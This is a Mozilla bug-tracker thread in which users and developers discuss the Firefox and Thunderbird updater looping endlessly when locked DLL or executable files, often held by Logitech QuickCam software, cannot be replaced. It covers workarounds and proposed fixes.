computer updated Thunderbird 2.0.0.6 => 2.0.0.9 but update crashed before being completed. I tried to download 2.0.0.9 directly from Mozilla Web Site but I have a message error : "writing error when opening file : C\Programs Files\Mozilla Thunderbird \MozMapi32.dll". Also when I clicked on Thunderbird icon computer can not find "thunderbird.exe"

I'm really not good in computer, could you help me in this matter? What have I to do to restore 2.0.0.6 or to get 2.0.0.9 with all my files and mails?

Looking forward to reading from you.

best regards
martin 
Once again, this is not a forum where you get user support. Use Mozillazine (http://forums.mozillazine.org/viewforum.php?f=39) or a local community website therefor. But anyway, restart your computer and restart the installation.

Comment 129

12 years ago
sorry and thank you, will have a look on the link.

regards

Comment 131

12 years ago
I had this problem also with updating from TB 2.0.0.8 to 2.0.0.9 and the above mentioned suggestion of closing the quickcam software resolved it. just an FYI

Comment 132

12 years ago
Jeff, thank you, it worked very well. 

Comment 133

12 years ago
I personally do not have a quickcam but I was fixing this for a friend. I noticed something in the settings for the quickcam software that might eliminate the problem, but it would also effect functionality of the quickcam software. You can choose what to use for an Email program from within the quickcam software. I changed my friends to use Yahoo so we will see if that works on the next update.
Guys, please stop. This is a bug tracking system and not a user support forum. Haven't you read comment 100? Thanks.

Comment 137

12 years ago
(In reply to comment #134)
> Guys, please stop. This is a bug tracking system and not a user support forum.
> Haven't you read comment 100? Thanks.

Henrik --
You clearly have a bug in the software update process.  It has continued for months.  Just a suggestion here.  If we are currently on release 2.0.x.y, and Thunderbird is planning to do any future bug fixes, to release 2.0.x.z, etc.  Then DO NOT RELEASE version 2.0.x.z.  FIRST, fix the bug in the update software.  That has to take precedence over other bug fixes.

The bug that has been described (yes, I see this is a duplicate of others above) seems to be that Thunderbird is in conflict with another program, let's say Logitech Quickcam.  That is *not* my point, nor is it the point of some of the reporters above.  The real point is that once the bug is encountered, your updater makes Thunderbird instantly unusable.

These comments will probably continue to come in in spite of that fact until we are sure you have heard this point -- the logic of the process should be:
   1. CHECK that the update can succeed (i.e. that
      resources are all available)
   2. IF NOT, then
         ABORT the update BEFORE the point of no return;
         Provide some error message about being unable to update;
         ALLOW THE USER TO CANCEL the update for a time;
         Leave the product working
   3. Otherwise, proceed

My main point is:

Until you can fix your update process so that it follows this common-sense behavior for all automated updates, you have no business releasing further updates!  The fix for the updater may not seem like a big deal, but it actually should take priority over all other fixes.

Put yourself in Microsoft's shoes.  They temporarily had a problemn in about 2004 with some Windows Updates that would not install and would not go away.  Imagine their level of embarrassment if they had not made it a very high priority to make sure that the Windows Update process would never cripple the system it was on.  That is what the Thunderbird updater is currently doing.

If no one who is currently working on a Thunderbird upgrade has the time to look at this problem, then send me the code ...

Comment 138

12 years ago
(In reply to comment #134)
> Guys, please stop. This is a bug tracking system and not a user support forum.
> Haven't you read comment 100? Thanks.

Henrik --
You clearly have a bug in the software update process.  It has continued for months.  Just a suggestion here.  If we are currently on release 2.0.x.y, and Thunderbird is planning to do any future bug fixes, to release 2.0.x.z, etc.  Then DO NOT RELEASE version 2.0.x.z.  FIRST, fix the bug in the update software.  That has to take precedence over other bug fixes.

The bug that has been described (yes, I see this is a duplicate of others above) seems to be that Thunderbird is in conflict with another program, let's say Logitech Quickcam.  That is *not* my point, nor is it the point of some of the reporters above.  The real point is that once the bug is encountered, your updater makes Thunderbird instantly unusable.

These comments will probably continue to come in in spite of that fact until we are sure you have heard this point -- the logic of the process should be:
   1. CHECK that the update can succeed (i.e. that
      resources are all available)
   2. IF NOT, then
         ABORT the update BEFORE the point of no return;
         Provide some error message about being unable to update;
         ALLOW THE USER TO CANCEL the update for a time;
         Leave the product working
   3. Otherwise, proceed

My main point is:

Until you can fix your update process so that it follows this common-sense behavior for all automated updates, you have no business releasing further updates!  The fix for the updater may not seem like a big deal, but it actually should take priority over all other fixes.

Put yourself in Microsoft's shoes.  They temporarily had a problem in about 2004 with some Windows Updates that would not install and would not go away.  Imagine their level of embarrassment if they had not made it a very high priority to make sure that the Windows Update process would never cripple the system it was on.  That is what the Thunderbird updater is currently doing.

If no one who is currently working on a Thunderbird upgrade has the time to look at this problem, then send me the code ...

Comment 139

12 years ago
I cannot update or "clean" install Mozilla Thunderbird 2.0.0.9 (new download) after my old Thunderbird has been uninstalled, even with Firefox all turned off.

Comment 140

12 years ago
I cannot update or "clean" install Mozilla Thunderbird 2.0.0.9 (new download) after my old Thunderbird has been uninstalled, even with Firefox all turned off.
Attachment #290146 - Flags: review+
Attachment #290146 - Attachment is obsolete: true
See comment #128! Reinstall into an empty folder is also a known workaround.

Comment 142

12 years ago
What concerns me with this discussion is every respondent has gotten lost as to why the install fails...  however... there can be many reasons why it may fail... that is not the bug in question but the endless loop it creates.

My question is why does this proceeded like a mad train off the tracks. I cannot  stop this update process without killing the thunderbird.exe processes.  Further more it just belches some gobbledygook about update failed please try again...  Hum maybe I just might want more info then that without have to dig through some stupid log... where ever that may be....
Duplicate of this bug: 405582
Assignee: sspitzer → robert.bugzilla
Status: ASSIGNED → NEW

Comment 144

12 years ago
I guess the reason for this problem are missing rights as reported in BUG 374900 and not because dll are in use. Anyway the starting of the update process with restricted user rights leads to infinite restarts of the the update.

Reproducible: Always

Steps to Reproduce:
0. On a Windows XP system with Firefox 2.0.0.xx installed
1. Login as a restricted (non-admin) user and run Firefox.
2. Help -> Check for Updates
3. Download and attempt install, which naturally fails.
4. Login as an administrator and check for updates in Firefox.
5. Download (2nd time!) and install.
6. Login as same user as in step 1 and start Firefox.
7. Updates are auto downloaded (3rd time - now it's the whole 7MB!!!) and again
fails.

Actual Results:  
"One or more files could not be updated. ..." error displays every time Firefox
is started for this non-admin user (very annoying), until folder "Local
Settings\Application Data\Mozilla\Firefox\Mozilla Firefox" is manually purged.

Expected results:
a. Do not download update when rights are missing; 
OR
b. Do not start the installation process when rigths are missing.

In both cases just inform that a new update is available and can be installed by an administrator.

The only workaround is to create a new firefox profile. Because many user would not be able to do this this bug should be extincted verry soon for avoiding users to switch to another browser!!!
Duplicate of this bug: 406440

Comment 146

12 years ago
i don't understand how to fix the problem and am frustrated that i can't use thunderbird!
note: this bug affects all Toolkit apps and the reason it is filed just under Firefox is due to bug 271978.
Whiteboard: See comment 100 before adding a new comment → See comment 100 and 147 before adding a new comment
Duplicate of this bug: 407632
Priority: P3 → P2

Comment 149

12 years ago
Logitech QuickCam software also holds a lock on mozMapi32.dll making it impossible to update thunderbird trunk

Comment 150

12 years ago
Reading between the lines a bit, I infer that there is an attempt to get Firefox to update automatically. This will not work in important cases. Instead, automatically check for updates and alert the user. If the user is able to gain access to privileges, he/she will turn on the privileges and download and install the program in the usual way.

Next, assume an enterprise installation, a public library, etc., in which it is the IT department which handles the updates. Someone suggested that we have two configurations. One configuration would be for home users, small businesses, etc., in which the users do their own updates.There would be a patch or natural-language instructions which reconfigured Firefox so that non-IT department users would not receive the alerts; perhaps they would unsubscribe.

Tom Jones
I have experienced the symptoms of this, but with a different cause. On a system without enough hard drive space, the installer fails to unpack properly, causing both Firefox and Thunderbird will attempt to update themselves, fail, and refuse to load normally.

While nobody should expect any product to behave normally on a system with no scratch space, the point is that there is a critical problem in the software update system. Namely, if the updater fails under some conditions, Firefox and Thunderbird become unusable, because they will continue attempting to update themselves on the next launch. As important as the DLL in-use issues are, this should definitely be fixed as well.

The ideal behaviour for the software updater would be to mark the update as attempted before launching the updater, and on subsequent launches (if the updater failed, and FF/TB is still in a usable state) display something such as "A previous update attempt has failed. WARNING: A partial update may cause <app name> to become unstable. Do you wish to attempt updating again? Yes/No"

Tom: Regarding disabling automatic software updates in a managed environment, see bug 317703.
(In reply to comment #151)
> I have experienced the symptoms of this, but with a different cause. On a
> system without enough hard drive space, the installer fails to unpack properly,
> causing both Firefox and Thunderbird will attempt to update themselves, fail,
> and refuse to load normally.

This is a different issue which will not be covered in this bug and is already filed with bug 315278. Please comment there to help us. Thanks.

Comment 153

12 years ago
One hears reports of programs which will "automatically update." Perhaps someone would provide us with an example of such.

Assumptions: First and foremost, an unprivileged account; but I have access to privileges. (a.k.a. a Limited User Account)

Windows XP; the terminology is different in Linux.

I distinguish between an "automatic update" and a "semiautomatic update," in which I first switch on the privileges, then download and update the program in the usual way. Or, for some enterprise installations, libraries, etc., the IT department will install the updates.

If Firefox will automatically update, I have never been able to get it to do so.

If my e-mail client will automatically update, I have never been able to get it to do so. Similarly for my anti-virus and my anti-adware programs. Similar comments hold for my word processor, my spreadsheet program, and quite a number of other programs which I use regularly.

Even Windows updates will not install automatically. Instead, they will download automatically, but I must first switch to the administrative account to install them. No problem.

Semiautomatic updates are quite satisfactory, assuning that I find out that the updates are available. 

Probably some persons would like to bypass the IT department and install the updates themselves. Probably not doable.

Does anyone know of a program which will update automatically? If so, please provide an example. IMO, bug number 340535 is just that people are trying to get Firefox to update automatically under conditions when that won't work.

Tom Jones
Duplicate of this bug: 417950
Rob, what's up here?
Whiteboard: See comment 100 and 147 before adding a new comment → [needs status update] See comment 100 and 147 before adding a new comment

Comment 156

11 years ago
From Tom:

First, if you feel that I am posting this message in the wrong place, please preface your comment by describing what you believe is the right place to post it.

The problem is unfixed, unchanged. I still cannot get alerts about new versions of Firefox. [1] One possibility is that someone has made a conscious decision to gray the "check for alerts" box(es) on the theory that they do more harm than good. Why is unclear. The problem does not show up under an administrative account. [2] When I am in a bad mood, I figure that somebody at FF thinks that we who use LUA's [3] by choice for security reasons are by definition limited and are the lowest of the low and are not morally deserving to receive announcements about new versions of Firefox.

[1] I can find out about new versions by proactively going out there and visiting a URL http://www.mozilla.com/en-US/ day after day, but this is getting old.
[2] This assumes Windows XP. The terminology is different under other platforms.
[3] LUA meaning a Limited User Account (a.k.a. root account or a non-admin account) Why use it? For one thing, drive-by downloads bounce off like tennis balls.

Preceding message entered under a LUA.
Tom Jones
DrJones at alum dot MIT dot edu
That's a different bug.

Comment 158

11 years ago
Again, if you feel that this posting has been made to the wrong place, please tell me the right place. For example, is there a bug number involved?

This is of course a big  Web site,  and I find it very difficult to figure out where to post things. 

I am sure that some people will say that this posting is in the wrong place. Well, you will just have to think that.

Thomas L. Jones, PhD, Computer Science
Target Milestone: Firefox 3 beta3 → ---

Comment 159

11 years ago
I just had exactly the same problem updating Thunderbird from 2.0.0.9 to 2.0.0.12. The file MapiProxy.dll was locked and update went into an endless loop. Only way to fix this was renaming MapiProxy.dll and replacing it by a copy (that one wasn't locked any more). The file is still locked - handle utility (http://www.microsoft.com/technet/sysinternals/ProcessesAndThreads/Handle.mspx) doesn't show who is holding it, killing webcam-related processes didn't help.
Would like to remind everyone that this does affect Firefox as well, not just Thunderbird, it caught me out when I updated on one of the 2.0.0.x updates for Firefox.

This going to realistically make Firefox 3? Doesn't seem any new activity on it in some time.

Comment 161

11 years ago
Here's my quick fix that seems to work so far:

When updating either Firefox or Thunderbird, just close *both* applications. They're locking files of each other - who knows why, no other application does.
Comment #161 that may be a problem for some people, but I didn't even have Thunderbird installed when this caught me.

Comment 163

11 years ago
(In reply to comment #161)
> When updating either Firefox or Thunderbird, just close *both* applications.
> They're locking files of each other - who knows why, no other application does.

I cannot confirm this, never had any problems before updating Thunderbird with Firefox running. Closing Firefox, Thunderbird and Webrunner didn't release the lock on MapiProxy.dll for me.
Duplicate of this bug: 419897

Comment 165

11 years ago
I dislike "me too" comments; but just wanted to add that updating from the 2.0.0.12 version with update pop I got today, I also encountered the endless loop.  It took going to the Task Manager on Vista to shut down the Thunderbird thread to make the endless cycle go away.  Of course, now Thunderbird is useless (sorry... inoperative), always going to the installation endless loop described above when starting Thunderbird.  I will try to uninstall Thunderbird and reinstall; but I am afraid I will lose all my data because of it.   Will report later if that worked as an ugly workaround.
Duplicate of this bug: 419986

Comment 167

11 years ago
It is surprising that this issue has lasted for so many updates, since it in
effect renders Thunderbird unusable and throws the user into an infinite loop
of errors.  I could *easily* see this as the sort of thing that would cause
casual users (say, the type that might own conflicting Logitech webcams) to
give up entirely on Thunderbird in frustration.  Would it really be difficult
or involving to first resolve the broken-program issue by rolling back the
update and instructing the user to close ALL other programs which might be
conflicting before they try again?

Admittedly, this could cause an annoying scenario where the user gets pestered
by update notifications that cannot be successfully installed, but at least the
user's e-mail client is functional.  And they can decline or disable update
notices as desired.
Duplicate of this bug: 419986
(In reply to comment #167)
> It is surprising that this issue has lasted for so many updates, since it in
> effect renders Thunderbird unusable and throws the user into an infinite loop
> of errors.  I could *easily* see this as the sort of thing that would cause
> casual users (say, the type that might own conflicting Logitech webcams) to
> give up entirely on Thunderbird in frustration.  Would it really be difficult
> or involving to first resolve the broken-program issue by rolling back the
> update and instructing the user to close ALL other programs which might be
> conflicting before they try again?
> 
> Admittedly, this could cause an annoying scenario where the user gets pestered
> by update notifications that cannot be successfully installed, but at least the
> user's e-mail client is functional.  And they can decline or disable update
> notices as desired.
> 

This bug rendered my families Firefox browser entirely unusable, if I hadn't been there (or someone else technically orientated) they would have been stuck indefinitely using IE.

Comment 170

11 years ago
I have seen this endless loop on every update from at least 2.0.0.6. I have no webcam. I don't know what process is locking the installer, but I have found that I can usually trick the installer to complete by making sure it attempts the install during the shutdown or boot sequence. If I click the tbird icon as soon as it appears it will usually install before whatever blocks it gets loaded. I have turned off auto update to make sure I take control of this, but its touch and go if it works. Has anyone tried safe mode to see if that works? If it does, its a simple work around.

Comment 171

11 years ago
I tired to uninstall Thunderbird using Vista's program uninstall.  Then I downloaded Thunderbird (2.0.0.12) and tried to install with the same results (mozMapi32.dll could not install over a previous version).   It was then that I discovered that "\program files\Mozilla Thunderbird" still existed on my computer.  I tried to remove it but even with administrator permission, I was not allowed to remove it by Vista.   My workaround was to rename the "\program files\Mozilla Thunderbird" to "\program files\Mozilla Thunderbird - old", then try to reinstall.  This time, even though I still got the installation error, it proceeded with the installation after clicking "retry" and the product reinstalled properly.  Because my inbox/draft/sent/etc. files were actually stored on my User file (and not uninstalled by the uninstall program), all my files were intact when the 2.0.0.12 version finally installed.

Comment 172

11 years ago
To all folks trying to uninstall Thunderbird/Firefox with some DLL files left locked: Restart Windows after the uninstallation. This frees all files and if the uninstaller is wise enough, the previously locked files are deleted upon the next Windows boot. After that, you can install the application again.
Duplicate of this bug: 420052
Duplicate of this bug: 420445
Duplicate of this bug: 420693
Should be able finish a patch next week... est. 3/12
Whiteboard: [needs status update] See comment 100 and 147 before adding a new comment → [est. 3/12] See comment 100 and 147 before adding a new comment
I ran into a significant problem with the proposed method to work around this bug. When a jar file is in use it can't be copied so it isn't possible to apply a partial update to the jar since we can't apply it to the original file and we can't make a copy of the original file, apply the diff, and copy it over the original file on OS restart.

Thoughts?
Whiteboard: [est. 3/12] See comment 100 and 147 before adding a new comment → See comment 100 and 147 before adding a new comment

Comment 178

11 years ago
Why can't files be copied which are in use? What means "in use" anyway - opened for read access, opened for write access, opened and locked for write access? I don't see any reason why this should not be possible. (If it really is, that is the bug.) The application that owns that archive file shouldn't be supposed to alter it, right? So it can be safely read. (Assuming there are no two updates running concurrently.)

Comment 179

11 years ago
>> Why can't files be copied which are in use?
example: Other app( third party) does a LoadLibrary on the mozMapi32.dll and the installer fail to delete the "mozMapi32.dll".
In this case the natural solution would be that installer identify the 3rd party application and request user to close the third party application and try the operation again.
 
(In reply to comment #177)
> bug. When a jar file is in use it can't be copied so it isn't possible to apply
> a partial update to the jar since we can't apply it to the original file and we
> can't make a copy of the original file, apply the diff, and copy it over the
> original file on OS restart.

Robert, under which circumstances such a situation will occur? Isn't that a problem which only arise when multiple instances of the same Firefox application are running? There is already bug 314148 about this specific problem. Due to that most people don't use multiple profiles we should be happy to have a solution which solves the issues mentioned here first?

If we can rename/overwrite libraries e.g. mozmapi.dll which are used by other applications we will come a big step forward. Issues happen because of using multiple profiles should be fixed by other bugs like bug 314148?
If a second user has the app open the jar files will be in use and can't be copied. If we solve this for only the dll case the second user case will leave the app in a very inconsistent state and afaic needs to be fixed at the same time.
"When a jar file is in use it can't be copied.."

One initial comment, as least from within the UI, I'm able to copy jar files that are in use. Is that the case on your end Rob or are you unable to make copies completely? 
I need to do more investigating as to what is going on. My Vista laptop wouldn't allow me to copy it consistently over the weekend as well as when I implemented the same functionality for the installer. My XP laptop is allowing me to copy consistently.

Comment 184

11 years ago
I have winVista(home basic).T.B 2.0.0.12 UPGRADE DOWNLOADS SUCCESSFULLY BUT WILL NOT INSTALL- GOES INTO A LOOP ATTEMPTING/FAILING.SAME ERROR MESSAGE REPORTED BY OTHERS.REMOVED LOGITECH WEBCAM-DID NOT HELP.
ANYTHING NEW ON RESOLVING THIS PROBLEM? 

Comment 185

11 years ago
I need help with this.  I have the same problem.  I even uninstalled firefox and re loaded it and have the same problem again.  I cannot use firefox any longer.  Please help as I like it better than internet explorer.  Thank you.
Rob, anything more I can do to assist in figuring this out?
Jim, not at the moment but thanks!
Assignee: robert.bugzilla → nobody
Assignee: nobody → robert.bugzilla
Whiteboard: See comment 100 and 147 before adding a new comment → [needs status update] See comment 100 and 147 before adding a new comment
On discussion with Rob and Beltzner, we're going to minus this for Fx3, as we are not 100% confident that the solution won't break edge cases.  This isn't a regression from Fx3, so we're at least not making things worse, and we're going to try to get to it after we ship so there's a lot of time to find edgecases.
Flags: blocking-firefox3+ → blocking-firefox3-

Comment 189

11 years ago
FYI to all working on this bug in TB 2.0.0.14 installation, I was able to narrow it down to the "quickcam.exe" process.  I systematically shut down all running processes starting with any Logitech processes.  No luck.  Shutting down "quickcam.exe" allow the TB update to install correctly.  

Hope this helps.

Comment 190

11 years ago
I don't have that process on my system, so it cannot be the only cause.

Comment 191

11 years ago
Quickcam is, however, another Logitech process.  The problems to seem to center around Logitech processes.
Whiteboard: [needs status update] See comment 100 and 147 before adding a new comment → See comment 100 and 147 before adding a new comment
Duplicate of this bug: 432015
Duplicate of this bug: 409629
Duplicate of this bug: 409353
Duplicate of this bug: 404299
Duplicate of this bug: 406795
Flags: wanted1.9.0.x?
updating to 2.0.0.14 today was now the FIRST problem I've ever had with Thunderbird.

comment #189 solved the problem!

I had just gotten a Logitech Quickcam last week!

Thanks Jonathan Hasson

Comment 200

11 years ago
I'm not sure about the Logitech software being the cause of the problem.  I have two computers, one at home and one at work, with *completely* identical hardware and software (WinXP Pro), *except* for a Logitech Quickcam Messenger on the home computer.  However, I only get the problem with the updater on my work computer, which has no camera.

As it happens, the last Thunderbird update (2.0.0.14) was the first one in which this problem did not appear for me.
Duplicate of this bug: 431877

Comment 202

11 years ago
During the last two automatic updates I receive fail messages saying due to "missing file' this process can not be completed and now I received an automatic update for 2.0.0.14 today and the same this is occurring. I can only close it down by using Ctrl+Alt+Del and when I re-open Thunderbird I have to go through the same time wasting procedure and is is very frustrating. I have turned off all programs including Logitech software on Vista Home Premium and I still get the same message.

Comment 203

11 years ago
During the last two automatic updates I receive fail messages saying due to "missing file' this process can not be completed and now I received an automatic update for 2.0.0.14 today and the same this is occurring. I can only close it down by using Ctrl+Alt+Del and when I re-open Thunderbird I have to go through the same time wasting procedure and is is very frustrating. I have turned off all programs including Logitech software on Vista Home Premium and I still get the same message.
Flags: wanted1.9.0.x? → blocking-firefox3.1?

Comment 204

11 years ago
I get the same bug marked 340535
I got the notice that the new version is available and was downloaded. I
clicked ok to start the update process. After a small time I get a messagebox
which tells me that some files could not be updated. 
When I click Ok the
updater starts again and tries to do the same thing again and again. It never
stops. So I have to kill the task.
What too ?

Comment 205

11 years ago
I've been experiencing a problem with an "infinite" update process for a long time now (more than a year, probably longer). I found that the problem exists on two of my computers, and is still present even after a fresh, clean Windows XP Pro installation. On numerous other machines I couldn't find this particular problem. I spent some effort trying to figure this out, thought it might do well if I shared some info.

The problem I observed is that "firefox.exe" can not be deleted during update. I can't delete the file even through explorer. There is no visible firefox process running. There is nothing visible holding a lock to the file. I have the problem even after I manually kill I can think of, including of course, termination and manual re-run of "explorer.exe". Honestly - I blamed Windows for this because it made no sense that firefox or the updater could be causing it, but rather the system itself is doing somethind wrong. However, this kind of problem exists only with firefox, and no other program. I have this problem every single time I try to upgrade firefox. I have been using firefox for years (with this ongoing problem) and it's... very annoying :)

I'm hoping my current workaround procedure might give you some ideas or hints for a permanent fix:
- when I have to update (or if the update starts automatically - and begins to loop of course) I leave the message with the "error during update" note and open the folder that contains "firefox.exe"
- I then copy "firefox.exe" to a new file (say firefox-copy.exe)
- I rename the original "firefox.exe" to something like "firefox.exe.krepaj". I do this because I can't delete it, but (strangely enough) I can still rename it.
- I then rename the copied "firefox-copy.exe" file back to "firefox.exe"

Now I have a "delete-able" firefox.exe right where it should be. I then leave the update process to start again and it then completes without a problem, since now it can patch the exe (or replace it or whatever it normally does during the update) so update always finishes this way. And, AFAIK, it's the only way I can make this work - other than reinstalling firefox. Note that a reboot is also required for a reinstall since "firefox.exe" can't be deleted during uninstall, so installation right after uninstalling also miserably fails (that's the first thing I tried when I noticed this problem - pure pain).

Strange thing is that I can't delete the "firefox.exe.krepaj" file until I restart my computer. Why - I don't know. Don't want to speculate either. If someone has a solid idea, please enlighten me.

It can't hurt to implement this workaround procedure into the updater itself - you could make an exception handler that automatically tries this procedure when it detects this problem (not even very hard to detect programatically, just try to delete the file after you made sure the process is not running). You can also delete the "firefox.exe.krepaj" during the next update if the updater finds it ;)

P.S. If anyone wants to know what "krepaj" means: it's Croatian, it means "die". Politely translated, that is. In the spirit of english "drop dead" seems more accurate. Pronounced [kre:pai]. Dialect. Coastal, mostly.
Duplicate of this bug: 447801

Comment 208

11 years ago
Can someone please fix this.  It has been in bug queue for 2 years now.  Everytime a Thunderbird update is released I have to:
1) uninstall thunderbird
2) reboot my machine
3) manually delete the file c:\Program Files\Mozilla Thunderbird\mozMapi32.dll
4) download and install a fresh copy of Thunderbird.

Royal pain in the neck.  Especially because I have to go through all of this on my desktop at work, laptop and home PC.

Comment 209

11 years ago
Two acceptable work arounds (IMHO):

1) Have the dialog say - this update will be applied next time you reboot your machine, and defer the update to the next reboot.

2) Have an "Update failed, can not delete files..." dialog that lists the processes that need to be killed in order to successfully delete the old files and accomplish the update.  Ideally, the dialog should offer a button to kill the processes and proceed with the update.  OK with me if this triggers the need to reboot after the update is complete.

Comment 210

11 years ago
(In reply to comment #189)
> FYI to all working on this bug in TB 2.0.0.14 installation, I was able to
> narrow it down to the "quickcam.exe" process.  I systematically shut down all
> running processes starting with any Logitech processes.  No luck.  Shutting
> down "quickcam.exe" allow the TB update to install correctly.  
> 
> Hope this helps.
> 

This also works for me on my Vist64 system. Right clicking and shutting down the task tray program was enough. LVPrS64H.exe and COCIManager.exe are  still being run my the service manager without any problems (more Logitech webcam stuff).

It's a hack but.. Could the install detect quickcam.exe and just bail with a specific error message?

Best

   -Paul
Would it make any sense to try to ask Logitech about doing something to this problem?

For Thunderbird, this is a classic catch 22.  To fix this, one needs to update; to update one needs to fix this.

However, Logitech's software is not limited as such - it can update.  Thus, it seems preferrable for them to fix it in some way, if it's possible.

My assumption is that their software is holding onto a dll so that it can send email, or do something similar.  Most likely it doesn't do this all the time, but instead rather infrequently.  If this is true, releasing the dll (instead of holding onto it) and reloading it when needed might be very doable.

It seems like that would solve the majority of people's problems here, and be the simplest solution.  If Logitech is friendly to it, of course.

I still think this bug should be fixed; however, it is not a trivial bug and it's causing a lot of noise (comments) right now.  Fixing it right would be easier if the Logitech part were fixed for now.  IMHO.

-[Unknown]

Comment 213

11 years ago
Killing QuickCam.exe prior to running the update works for me.  Much easier than uninstalling and rebooting.  Logitech may be intentionally sitting on the mapi dll so that they can wake and respond to connection requests.  The intent of their keeping their process resident is to be able to respond to things like Skype and IM video chat requests.

Thunderbird really needs to identify which applications are locking files when an update fails.
Duplicate of this bug: 448320

Comment 215

11 years ago
(In reply to comment #214)
> *** Bug 448320 has been marked as a duplicate of this bug. ***
> 
I have read through a lot of these comments, and I don't exactly see how making my bug report a duplicate of one that seems to been happening for over two years makes my bug resolved. It seems that through many versions of Thunderbird, this bug has been ignored. 

I will say that some times by rebooting and continuing to click on the icon to open Thunderbird, it eventually does open.  Sometimes it works fine, sometimes there is a portion of the screen that is taken up by an error message.  If I was a programmer, I might understand the problem.  But I am not, so I rely on others with the knowledge and experience.

The process of rebooting several times and many clicks to try and open the program is frustrating and annoying.  I hope that there is a real resolution to this problem soon.

Comment 216

11 years ago
Is it possible to check if the "communications_helper.exe" is running while installing and send out a warning message that the update is prevented by this software. Including a hint on how to stop it? - as a short term solution...
I've been having identical problems with both Firefox and now the latest Thunderbird update to 2.0.0.16. I do not have a webcam (Logitech or otherwise). I believe I narrowed the issue to either TrayIt! and/or YzDock. After ending a half dozen tasks, including those two, I was able to open the updated Thunderbird (the loop ended after one more attempt).

I'm fairly certain it was one of those two apps because I have this issue on two PCs, and those are the only two tasks I ended that are present on both.

As an aside, my problem extended to not only an infinite loop update on both products, but also the firefox.exe and thunderbird.exe files not being able to be deleted.
Duplicate of this bug: 448562

Comment 219

11 years ago
Rob and I talked about this and came up with a possible solution for the mapi upgrade problem:

hard-code the version of the mapi dll in the manifest to the current 2.0 update
don't change the version when the app version changes
if the dll changes, the developer would have to change the version by hand. But that dll never changes.

This is based on the observation that that dll never changes, so why is partial update trying to update that dll? We're guessing that it's somehow picking up the current gecko version or something, so the dll is changing. I don't have a windows box handy right now, so I can't verify this...

They do change... from mozMapi32.dll

VERSIONINFO
FILEVERSION 0,8,0,0
PRODUCTVERSION 1,9,1,3132
"Comments", "Mozilla Thunderbird MAPI Dll"
"LegalCopyright", "©Thunderbird and Mozilla Developers, according to the MPL 1.1/GPL 2.0/LGPL 2.1 licenses, as applicable."
"CompanyName", "Mozilla.org"
"FileDescription", ""
"FileVersion", "0.8"
"ProductVersion", "1.9.1a2pre"
"InternalName", "mozMapi32"
"LegalTrademarks", "Mozilla"
"OriginalFilename", ""
"ProductName", "Shredder"
"BuildID", "2008072908"

I'm going to run this change by bsmedberg.
I'm sure this is ridiculous, but can the build server be smart enough to know if the dll changed from last release and insert the versioninfo only in that case?  I assume it has the last release too binary diff the dll against for creating partial update packages...

Seems ideal although it's maybe not very easy.  But that would imho be a good solution for all included dlls if possible.

-[Unknown]
It does not. We're evaluating the options available.
IIRC, if you compile a windows dll twice without source changes then you'll get slightly different executables. Something to do with a unique identifier for debug/symbol purposes. bsmedberg can probably describe this much more precisely, and throw in an "idempotents" for good measure :-).
Product: Firefox → Toolkit
Duplicate of this bug: 448857
Duplicate of this bug: 448857
Duplicate of this bug: 448878
Duplicate of this bug: 449637
Duplicate of this bug: 449716
Duplicate of this bug: 450095
Duplicate of this bug: 450425
I'm adding this comment, as I am saying that this is a major issue that should block the Thunderbird 3 release, and IMHO it should also block gecko 1.9 and probably the next 2.0.0.* release.

There are now over 80 duplicate reports of this bug. Approximately the last 10 have been filed with the TB 2.0.0.16 upgrade. I imaging this could be a small number of the actual problems people are having, mostly helped by newsgroups/forums.

Software update should just work. I realise there seem to be unresolved issues with how to solve this bug but we need to move forward somehow.

Rob, could you do a summary of where we are with this bug? Would getting a meeting together to discuss the issues help?
Flags: blocking1.8.0.15?
Flags: blocking-thunderbird3+
Duplicate of this bug: 448153
Duplicate of this bug: 441266
(In reply to comment #231)
>...
> Rob, could you do a summary of where we are with this bug? Would getting a
> meeting together to discuss the issues help?
Some investigation needs to be done to figure out why on the 1.8 branch jar files were in use and couldn't be copied. The reason this is of concern is that a failed partial update would create a "Frankenstein" installation that wouldn't work. This *appears* to no longer be a problem with 1.9 but it is important to be sure. Once that is done the fix should be somewhat easy to implement similar to the way it was implemented for the installer.

For Thunderbird specifically (comment #219 and comment #220) it would be a very good thing if a solution for mozMapi32.dll (perhaps MapiProxy.dll as well) always being in use after mapi has been used is developed. MSVC always creates a slightly different binary even when symbols, etc. are not added or are stripped so the only solutions I can see are checking in the binary as bienvenu and I discussed or setting the mapi dll registry key for mozMapi32.dll to a copy of mozMapi32.dll similar to how it was done when the dll was copied to the windows directory in older versions. This would remove the reboot requirement when performing a software update when this bug is fixed and resolve this bug for the vast majority of users even if this bug isn't fixed.

A meeting might be of help if there are resources that could help with either of the the above issues and they would like to discuss the details above.
Duplicate of this bug: 450514
Duplicate of this bug: 451067
Duplicate of this bug: 451163
Filed bug 452162 to lessen the number of cases where Thunderbird requires a restart on application update
Duplicate of this bug: 366414
I'm sure standard8 meant to nominate for current releases. 1.8.0.15 is the post-EOL ff/tb 1.5 placeholder for downstream vendors with longer support policies.
Flags: blocking1.9.0.3?
Flags: blocking1.8.1.18?
(In reply to comment #213)
> Thunderbird really needs to identify which applications are locking files when
> an update fails.

I agree: I just talked to a user who reported having the problem to me, and he said he would hope that the Thunderbird update would tell him, you seem to have the QuickCam software open, please close it before proceeding.
(In reply to comment #243)
> I agree: I just talked to a user who reported having the problem to me, and he
> said he would hope that the Thunderbird update would tell him, you seem to have
> the QuickCam software open, please close it before proceeding.

Frederic, this is handled by bug 380452.

Comment 245

11 years ago
I have just finished helping my father with remote support for this bug. After the 2.0.0.16 update everything 'just stopped'. We rolled back, uninstalled, reinstalled, did everything we could to resolve. Then I found this.
Disabled the Logitech camera, started TB and 'it just worked'.
I can't help with a further solution, but at least the short term work around now works, is : disable the camera from the start up sequence in XP. 

I also agree with Mark Banner when he says " major issue that should
block the Thunderbird 3 release ", my father is not a geek / techie / interested in computers / blah blah, he just wants his email to work. He was even prepared to go back to MS Outlook Express. TB works one more so he is happy, but how many logitech owners have just binned TB and gone back to MS ?
Thanks.
P.
This is a serious and persistent problem, but again probably not a blocker.
Flags: wanted1.9.0.x+
Flags: wanted1.8.1.x+
Flags: blocking1.9.0.3?
Flags: blocking1.8.1.18?
Flags: blocking1.8.0.15?
Note: with bug 452162 landed this problem should be resolved for both MapiProxy.dll and mozMapi32.dll for Thunderbird on comm-central.

At this point I believe the only file in use issues during software update would be due to a second user on the same system running the app while another user is performing a software update and when a single user is running multiple instances of the same app while performing a software update in one of the instances.
